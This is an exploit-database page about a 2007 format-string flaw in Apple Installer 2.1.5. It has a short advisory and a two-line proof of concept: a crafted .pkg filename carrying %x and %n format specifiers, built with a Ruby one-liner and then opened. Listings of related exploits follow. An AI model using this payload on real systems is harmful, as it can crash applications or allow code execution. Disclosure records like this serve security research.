Menu

Search for hundreds of thousands of exploits

"Apple Installer Package 2.1.5 - Filename Format String"

Author

Exploit author

LMH

Platform

Exploit platform

osx

Release date

Exploit published date

2007-01-27

Download file

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
source: https://www.securityfocus.com/bid/22272/info

Apple Installer is prone to a format-string vulnerability because the application fails to properly sanitize user-supplied input before passing it as the format specifier to a formatted-printing function.

A successful attack may crash the application or possibly allow the attacker to execute arbitrary code. This may facilitate unauthorized access or privilege escalation in the context of the user running the application.

Apple Installer Version 2.1.5 on Mac OS X 10.4.8 is vulnerable to this issue; other versions may also be affected. 

$ touch AAAA`ruby -e 'require "cgi"; print CGI::escape("\x9c\xe7\xff\xbf") + CGI::escape("%.20d") + CGI::escape("%x" * 20)'`%n.pkg
$ open AAAA%9C%E7%FF%BF%25.20d%25x%25x%25x%25x%25x%25x%25x%25x%25x%25x%25x%25x%25x%25x%25x%25x%25x%25x%25x%25x%n.pkg
Release Date Title Type Platform Author
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
Release Date Title Type Platform Author
2019-02-11 "Adobe Flash Player - DeleteRangeTimelineOperation Type Confusion (Metasploit)" remote osx Metasploit
2017-08-09 "NoMachine 5.3.9 - Local Privilege Escalation" local osx "Daniele Linguaglossa"
2017-07-15 "Apple Mac OS X + Safari - Local Javascript Quarantine Bypass" local osx "Filippo Cavallarin"
2017-05-01 "HideMyAss Pro VPN Client for OS X 2.2.7.0 - Local Privilege Escalation" local osx "Han Sahin"
2017-04-13 "GNS3 Mac OS-X 1.5.2 - 'ubridge' Local Privilege Escalation" local osx "Hacker Fantastic"
2017-02-01 "Apple WebKit - 'HTMLFormElement::reset()' Use-After Free" dos osx "Google Security Research"
2017-01-23 "Microsoft Remote Desktop Client for Mac 8.0.36 - Code Execution" local osx "Filippo Cavallarin"
2017-01-10 "Apple OS X Yosemite - 'flow_divert-heap-overflow' Kernel Panic" dos osx "Brandon Azad"
2016-12-16 "Horos 2.1.0 Web Portal - Directory Traversal" remote osx LiquidWorm
2016-12-16 "Horos 2.1.0 DICOM Medical Image Viewer - Denial of Service" dos osx LiquidWorm
Release Date Title Type Platform Author
2007-01-30 "Apple Mac OSX 10.4.x - Help Viewer '.help' Filename Format String" dos osx LMH
2007-01-30 "Apple Mac OSX 10.4.x - iPhoto 'photo://' URL Handling Format String" dos osx LMH
2007-01-30 "Apple Mac OSX 10.4.x - iMovie HD '.imovieproj' Filename Format String" dos osx LMH
2007-01-30 "Apple Mac OSX 10.4.x - Safari window.console.log Format String" dos osx LMH
2007-01-27 "Apple Installer Package 2.1.5 - Filename Format String" dos osx LMH
2007-01-23 "Apple Mac OSX 10.4.8 - QuickDraw GetSrcBits32ARGB Remote Memory Corruption" dos osx LMH
2007-01-20 "Transmit 3.5.5 - Remote Heap Overflow" dos multiple LMH
2007-01-15 "Ipswitch WS_FTP 2007 Professional - 'WSFTPURL.exe' Local Memory Corruption" dos windows LMH
2007-01-13 "Apple Mac OSX 10.4.8 - DMG UFS UFS_LookUp Denial of Service" dos osx LMH
2007-01-13 "Apple Mac OSX 10.4.8 - DMG HFS+ DO_HFS_TRUNCATE Denial of Service" dos osx LMH
2007-01-12 "Apple Mac OSX 10.4.8 - DMG UFS Byte_Swap_Sbin() Integer Overflow" remote osx LMH
2007-01-10 "Apple Mac OSX 10.4.8 - DMG UFS FFS_MountFS Integer Overflow" dos osx LMH
2007-01-06 "Multiple PDF Readers - Multiple Remote Buffer Overflows" dos linux LMH
2006-11-29 "Apple Mac OSX 10.4.x - 'Shared_Region_Make_Private_Np' Kernel Function Local Memory Corruption" local osx LMH
2006-11-27 "Apple Mac OSX 10.4.x - AppleTalk AIOCRegLocalZN IOCTL Stack Buffer Overflow" local osx LMH
2006-11-26 "Apple Mac OSX 10.4.x - Mach-O Binary Loading Integer Overflow" local osx LMH
2006-11-21 "Apple Mac OSX 10.4.8 - UDTO Disk Image Remote Denial of Service" dos osx LMH
2006-11-20 "Apple Mac OSX 10.4.8 - UDIF Disk Image Remote Denial of Service" dos osx LMH
2006-11-05 "Linux Kernel 2.6.x - 'ISO9660' Denial of Service" dos linux LMH
2006-11-04 "Sun Solaris 10 - 'UFS' Local Denial of Service" dos solaris LMH
2006-11-02 "Linux Kernel 2.6.x - SquashFS Double-Free Denial of Service" dos linux LMH
2006-09-21 "Apple QuickTime 7.1.3 PlugIn - Arbitrary Script Execution" remote linux LMH 
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Cipher Protocols Sigalg Trusted

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.

Host WAF detected